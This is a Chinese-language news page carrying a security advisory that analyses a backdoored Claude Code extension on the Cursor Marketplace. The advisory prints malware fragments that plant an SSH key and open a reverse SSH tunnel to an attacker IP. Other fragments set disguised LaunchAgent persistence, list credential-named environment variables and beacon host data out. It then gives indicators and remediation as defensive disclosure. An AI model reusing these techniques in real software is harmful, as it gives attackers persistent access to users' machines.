首页
/
新闻
/
Cursor Marketplace 上的 Claude Code for VS Code 扩展中发现后门
Cursor Marketplace 上的 Claude Code for VS Code 扩展中发现后门
摘要
Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展(v2.1.313)中检测到一个后门,该后门会在 macOS、Linux 和 Windows 上安装持久化 SSH 后门并植入攻击者 SSH 密钥。Cursor 已下架该版本,建议相关组织立即对受影响的环境进行审计。
<a href="https://cursor.com/blog/claude-code-extension-security-notice" rel="nofollow">https://cursor.com/blog/claude-code-extension-security-notic...</a><p><a href="https://cyberplace.social/@GossiTheDog/117528831681803563" rel="nofollow">https://cyberplace.social/@GossiTheDog/117528831681803563</a><p><a href="https://doublepulsar.com/anthropic-hacked-to-deliver-remote-access-trojan-to-claude-developer-laptops-worldwide-1148a92baae2" rel="nofollow">https://doublepulsar.com/anthropic-hacked-to-deliver-remote-...</a>
查看缓存全文
缓存时间:
2026/10/30 15:15
# 官方 Claude Code 扩展遭入侵:安全公告
来源:https://phorion.io/blog/offical-claude-code-vsx-compromise/
## 概述
Phorion 在 Cursor Marketplace 上的官方 **Claude Code for VS Code** 扩展包中检测到一个后门程序。该后门会在 macOS、Linux 和 Windows 上投放一个持久化 SSH 后门。本文将重点分析 macOS 平台上的行为——在该平台上,扩展试图配置 SSH 后门并建立持久化。各组织应立即排查环境中是否使用了 Claude Code for VSCode `2.1.313` 版本,并在发现使用该扩展时启动事件响应流程。
Phorion 发现 Cursor Marketplace 上的官方 **Claude Code for VS Code** 扩展被入侵,被植入后门的扩展包中含有一个持久化的 Secure Shell(SSH)后门。Cursor 已从其 Marketplace 中删除了相关版本,并从各自注册表中下架了 `2.1.313` 版本的 NPM 和 VSCode 包。
虽然该植入程序包含针对 **macOS、Linux 和 Windows** 的安装与持久化逻辑,但本文将重点分析 **macOS** 平台,同时指出其他平台上的一些关键差异和实现缺陷。
Cursor Marketplace 为 Cursor 编辑器提供扩展服务。由于扩展以 IDE 及运行它的用户的权限运行,被植入后门的扩展在模块加载的瞬间即可获得对本地文件、源代码和开发者工具的完整访问权限。
值得注意的是,Phorion 发现恶意软件在启用 SSH 时存在一个可能的疏忽。安装逻辑假设它可以在没有 root 权限的情况下检查当前远程登录状态。当以标准用户身份运行时,`systemsetup -getremotelogin` 会打印管理员访问权限错误,并以状态码 `0` 退出,而不是返回 `Off`。由于脚本仅在输出匹配 `Off` 时才尝试启用 SSH,因此会完全跳过启用步骤。
在一台 SSH 尚未运行的 Mac 上,这个错误会阻断入站访问路径,尽管 SSH 密钥和持久化机制仍然会被投放。
本文将详细分析该后门的工作原理、macOS 上检查失败的原因,以及在你的终端设备中应关注哪些指标。
该载荷的目的是获取长期交互式访问,尽管 SSH 后门的缺陷降低了其在 macOS 上的影响,但该恶意软件仍然是一个严重的威胁——它安装持久化机制,并将主机侦察信息回报给操作者。
## 感染链
### Cursor Marketplace 扩展
被入侵的 `extension.js` 文件在压缩混淆的扩展包前端插入了一个立即执行函数表达式(IIFE)。扩展包的其余部分看起来与标准扩展一致,包含 Claude Code 和 VS Code 字符串、正常的 `activate` 和 `deactivate` 导出以及 UI 代码。
注入的前缀代码引入了标准的 Node.js 模块(`child_process`、`fs`、`os`、`path`、`http` 和 `crypto`),并在 Node 加载文件时立即执行——甚至在扩展的正常 `activate` 回调运行之前就已经触发。用户无需与扩展进行任何交互即可触发载荷。
### 阶段一——准备 SSH 访问
首先,载荷确保 `~/.ssh` 目录存在,然后将攻击者控制的 Ed25519 公钥追加到 `~/.ssh/authorized_keys` 中,并将目录权限设为 `0700`、文件权限设为 `0600`。该密钥使用注释 `svc-telemetry`。
在追加之前,脚本检查文件中是否已存在 `svc-telemetry` 字符串,而不是检查密钥本身。在排查此类活动时,建议通过公钥指纹进行检测,而非仅依赖注释字符串。
```javascript
var sd = path.join(HOME, ".ssh"), ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
```
其中 `cur` 存储 `authorized_keys` 的现有内容,`PUB` 是嵌入的攻击者公钥(此处已隐去)。
密钥就位后,任何持有对应私钥的人都可以以该用户身份进行认证——前提是 SSH 实际上正在运行。
脚本的下一步尝试确保本地 SSH 守护进程已启用并监听:
- **Linux:** 尝试通过 `systemctl` 启用并启动 `sshd` 或 `ssh`,回退使用 `service` 和 `/etc/init.d/`。
- **macOS:** 检查远程登录状态,如果报告为 `Off`,则尝试通过 `sudo -n systemsetup -setremotelogin on` 启用。
- **Windows:** 尝试使用 PowerShell 安装并启动 OpenSSH Server。
这些步骤均不包含提权漏洞利用。非交互式 `sudo -n` 将失败,除非用户已有缓存或配置了免密码 sudo。因此,从标准用户上下文启动系统服务并不总能成功。
看起来 Windows 代码路径也存在自身缺陷:它通过一个硬编码了 `/bin/sh` 的辅助函数(`det()`)来传递 PowerShell 服务安装命令,这在标准 Windows 安装上无法正常运行。
### macOS SSH 逻辑中的缺陷?
在 macOS 上,安装逻辑甚至在执行 `sudo` 命令之前就可能遇到问题。脚本在未提升权限的情况下运行 `systemsetup -getremotelogin`,然后用 `/Off/i` 测试输出。它仅在输出包含 `Off` 时才尝试启用远程登录:
```javascript
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
```
注意第二条命令(`-setremotelogin on`)使用了 `sudo -n`,而第一条命令(`-getremotelogin`)没有使用。
当在 macOS 上以标准用户身份运行 `systemsetup -getremotelogin` 时,得到的是:
```
You need administrator access to run this tool... exiting!
```
`systemsetup` 拒绝在没有管理员权限的情况下读取该设置,将错误信息输出到标准输出,并以状态码 `0` 退出。
恶意软件的 `ex()` 辅助函数获取标准输出并返回:
```javascript
function ex(c, t) {
try {
return cp.execSync(c, { timeout: t || 3000, stdio: ["ignore", "pipe", "ignore"], windowsHide: true }).toString().trim()
} catch (e) {
return ""
}
}
```
由于输出为 `"You need administrator access to run this tool... exiting!"`,`/Off/i.test(rl)` 的结果为 `false`。因此,脚本跳过了 `if` 块,永远不会运行 `sudo -n systemsetup -setremotelogin on`。
它实际上将"我没有权限检查 SSH 是否关闭"视为"SSH 已经开启",这也解释了为什么在扩展以普通用户身份运行时,进程遥测中看不到启用尝试。
> **该缺陷可能破坏访问链的最终步骤。**如果 Mac 上尚未启用远程登录,出站隧道虽然可以连接到攻击者的服务器,但通过隧道转发回来的流量将被阻止在 localhost 上关闭的 22 端口。当然,这不应被当作防御手段。如果用户已经启用了远程登录,或者后来启用了,后门随时可以运作。
### 阶段二——建立反向 SSH 隧道
接下来,脚本以 `tunnel` 用户身份通过 22 端口建立到 `134.209.82[.]225` 的出站 SSH 连接。为了向攻击者的服务器进行认证,它解码了另一个嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 `svc-telemetry-tun`。
在调查过程中需要注意区分两个密钥:
- 添加到 `~/.ssh/authorized_keys` 的公钥(`svc-telemetry`)让攻击者能够登录受害者的机器。
- 嵌入的私钥(`svc-telemetry-tun`)让受害者的机器能够连接到攻击者的隧道服务器。
脚本将该隧道密钥写入操作系统临时目录,文件名以 `.stk_` 开头,后跟主机名和主目录路径 MD5 哈希的前十个字符:
```javascript
var kf = path.join(
TMP, ".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
```
隧道使用 `-R *:0:localhost:22` 进行远程端口转发。传入 `0` 让攻击者的 SSH 服务器动态分配一个监听端口,并将到达该端口的任何流量通过隧道转发到受害者机器的 `localhost:22`:
```
受影响主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器
操作者 -- 独立连接 --> 服务器上分配的端口
|
通过现有隧道
v
受影响主机的 SSH:22
使用植入的密钥登录
```
由于隧道使用 `-N` 运行,它仅保持端口转发的开启状态,不在远程服务器上执行命令。
当操作者想要访问该机器时,他们通过服务器上分配的端口启动一个独立的 SSH 会话,使用阶段一植入的密钥对受害者本地 SSH 守护进程进行认证。这为他们提供了完整的交互式 Shell 和文件传输能力,无需在 JavaScript 本身中实现任何自定义 C2 命令处理。
SSH 命令还传递了一些标志以保持连接安静且非交互式:禁用主机密钥检查,忽略 `known_hosts`,启用 `BatchMode` 和 `IdentitiesOnly`,keepalive 设置为 30 秒(`ServerAliveCountMax=3`),并启用 `ExitOnForwardFailure`。
如果系统中安装了 `autossh`,脚本会使用它;否则回退到标准的 `ssh`。脚本将连接包裹在一个分离的重试循环中,每次尝试之间休眠 60 秒,在 Unix 系统上使用 `pgrep` 避免启动重复的初始隧道。由于循环是分离的,隧道在用户关闭 IDE 后仍然保持运行。
### 阶段三——保持访问可用
为了在重启后存活,脚本在初始分离隧道之外还设置了平台特定的持久化机制:
| 平台 | 产物 | 持久化机制 | 备注 |
|------|------|-----------|------|
| Linux | `~/.config/.smt`、`~/.config/.smtk` | 写入一个重建隧道密钥并循环运行 SSH 连接的 shell 脚本,然后向用户 crontab 添加 `@reboot` 条目。 | crontab 检查中存在缺陷,重复运行时可能清除现有的用户 cron 任务(详见下文)。 |
| macOS | `~/.config/.smt`、`~/.config/.smtk`、`~/Library/LaunchAgents/com.apple.sysmond.plist` | 写入一个用户 LaunchAgent,配置 `RunAtLoad` 和 `KeepAlive` 均为 `true` 来运行 `/bin/sh ~/.config/.smt`,然后通过 `launchctl` 加载。 | 以用户上下文运行,而非 root LaunchDaemon。 |
| Windows | `~/.config/smt.cmd`、`~/.config/smtk`、`%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd` | 尝试创建名为 `SysMon` 的计划任务,以 `SYSTEM` 身份在启动时运行。如果失败,则将 `sysmon.cmd` 投放到用户的启动文件夹。 | 创建 `SYSTEM` 任务需要管理员权限;启动文件夹回退方案在用户登录时以用户身份运行。 |
在 macOS 和 Linux 上,`~/.config/.smt` 脚本中嵌入了隧道私钥,并在启动重连循环之前将其写出到 `~/.config/.smtk`。
在 macOS 上,LaunchAgent 以 `com.apple.sysmond.plist` 的名义伪装在 `~/Library/LaunchAgents/` 目录中:
```
Label com.apple.sysmond
RunAtLoad true
KeepAlive true
```
### 阶段四——主机侦察
最后,脚本收集基础的主机侦察信息,并向攻击者的服务器发送一次性信标回报:
- 主机名、用户名、操作系统平台和架构
- 主目录、当前工作目录和全局 Git 邮箱(`git config --global user.email`)
- 公网 IP 地址和各安装阶段的状态标志(例如 SSH 密钥是否已添加、哪种持久化方式已运行)
- 最多 40 个匹配 `/KEY|TOKEN|SECRET|PASS|AWS|GCP/i` 的环境变量**名称**(而非值)
环境变量检查使用 `Object.keys(process.env)`:
```javascript
Object.keys(process.env)
.filter(function(k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
})
.slice(0, 40)
```
由于仅获取变量名称,信标不会窃取密钥值本身。相反,它为操作者提供了机器上存在的云凭证或 API 令牌的快速清单,以便他们确定优先攻击的目标主机。
为了获取机器的公网 IP,脚本查询 `ifconfig[.]me`,回退到 `api[.]ipify[.]org`。
然后,它通过明文 HTTP POST 请求将 JSON 报告发送到 `134.209.82[.]225:8099` 和 `127.0.0.1:8099` 的 `/beacon` 路径:
```javascript
var r = http.request({
host: h, port: p, path: "/beacon", method: "POST",
timeout: 3000,
headers: {"content-type": "application/json"}
}, function(res) {
res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()
```
从样本中无法确定为何还要向 `127.0.0.1:8099` 发送一份信标副本——脚本本身并未在该端口上设置本地监听器。
信标使用 `setTimeout` 进行一次性调度(初始安装运行后 1.5 秒),并通过 `res.resume()` 丢弃所有 HTTP 响应。它纯粹是一个签到通知,让操作者知道主机已就绪,而实际的访问则由 SSH 隧道处理。
## 检测要点
从检测角度来看,使用端点安全框架(Endpoint Security Framework,ESF)遥测数据,在 macOS 上感染链中有几个行为值得关注。
### SSH 密钥和配置变更
由于恶意软件直接使用 Node 的 `fs.appendFileSync` 向 `~/.ssh/authorized_keys` 追加内容,仅监控 shell 命令(如 `echo` 或 `tee`)触碰 `authorized_keys` 的纯进程规则无法捕获该行为。
这就是文件修改遥测数据至关重要的地方:监控 IDE 辅助进程(`Code Helper`、`Cursor Helper` 等)创建或写入 `~/.ssh/authorized_keys` 的行为。虽然 IDE 二进制文件本身具有有效签名,但其扩展宿主进程没有理由在后台修改 SSH 认证文件。
虽然你也应监控 `systemsetup -setremotelogin on` 命令,但不应将其作为此攻击活动告警的必要条件。如上所述,macOS 上损坏的状态检查意味着该命令通常根本不会执行。
### 用户 LaunchAgent 持久化
macOS 上的持久化设置为我们提供了几个有力的检测信号:
- 非 Apple 进程写入带有 `com.apple.*` 标签的 plist 文件(`~/Library/LaunchAgents/com.apple.sysmond.plist`)。
- LaunchAgent 配置为对用户主目录中的隐藏脚本(`~/.config/.smt`)执行 `/bin/sh`。
由于初始隧道作为分离进程生成,`launchd` 之后直接管理 `.smt`,后续的 `ssh` 进程在实时进程树中不会以 IDE 作为其直接父进程。
将 `.smt` 和 `com.apple.sysmond.plist` 的文件创建事件与 IDE 扩展宿主进行关联,可以更轻松地还原完整的感染链。
### SSH 隧道和后续访问
在进程和网络层面,应查找以下行为:
- 启用了远程端口转发(`-R *:0:localhost:22`)且身份文件来自 `/tmp/.stk_*` 或 `~/.config/.smtk` 的 `ssh` 或 `autossh` 进程。
- 到 `134.209.82[.]225` 22 端口的出站 SSH 连接,以及到 `134.209.82[.]225:8099` 的 HTTP POST 请求(以及对 `127.0.0.1:8099` 的连接尝试)。
如果发现某台主机上运行过该扩展,重要的是确认隧道是仅仅被建立,还是已经有操作者通过隧道实际登录过。由于入站会话通过本地端口转发到达,SSH 日志中的成功登录会显示来自 `localhost`(`127.0.0.1` 或 `::1`),并使用 `svc-telemetry` 密钥进行认证。
### 修复措施
如果你确认存在受影响的机器,**仅卸载扩展无法清除后门**。确保你的响应涵盖它投放的所有阶段:
1. **终止活动隧道进程:** 终止 `/bin/sh` 重试循环以及任何连接到 `134.209.82[.]225` 的 `ssh` 或 `autossh` 进程。
2. **移除持久化:** 在 macOS 上卸载并删除 `~/Library/LaunchAgents/com.apple.sysmond.plist`(或在 Linux 上清理 `@reboot` cron 条目,在 Windows 上清理 `SysMon` 计划任务和启动脚本)。
3. **删除密钥和脚本文件:** 从 `~/.ssh/authorized_keys` 中移除 `svc-telemetry` 公钥,删除临时目录中的 `.stk_*` 文件,并清理 `~/.config/.smt`、`~/.config/.smtk`(Linux/macOS)或 `~/.config/smt.cmd`、`~/.config/smtk`(Windows)。
4. **更换凭证:** 考虑轮换受影响机器上用户可用的所有 SSH 密钥和相关凭证,因为攻击者可能已经在你采取行动之前获取了它们。
相似文章
Reddit r/LocalLLaMA
官方 Claude Code VS Code 扩展在一次供应链攻击中遭到入侵,攻击者在受影响的计算机上安装了持久性 SSH 后门,凸显了软件分发生态系统中持续存在的风险。
Lobsters Hottest
关于在适用于 VS Code 和 Cursor 编辑器的 Claude Code 扩展中发现后门的报告,揭示了一起影响热门 AI 编程工具的供应链安全事件。
Reddit r/AI_Agents
Anthropic.claude-code 扩展的被篡改版本曾短暂出现在 Cursor 的应用市场中,可能通过自动更新影响了多达 5,000 名用户,安装了 SSH 后门及持久化机制,即使简单更新或卸载也无法清除。
Ars Technica
Anthropic 的官方 Claude Code VS Code 扩展在 Cursor 市场被植入后门近 12 小时,恶意版本 2.1.313 通过官方账户分发,最多影响约 5,000 名开发者,可安装持久化 SSH 后门并访问本地文件与源代码。Anthropic 至今未向客户发布公开通知。
X AI KOLs Following
一名恶意行为者利用对 Cursor 扩展市场的访问权限,发布了一个遭到篡改的 Claude Code 扩展副本,引发了人们对该扩展是否通过 OpenVSX 分发的疑问。Anthropic 澄清,此次事件并未危及其自身系统或员工的笔记本电脑。